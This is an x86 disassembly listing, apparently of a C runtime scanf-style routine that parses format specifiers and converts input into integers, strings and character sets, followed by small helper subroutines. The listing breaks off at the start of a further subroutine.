var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: 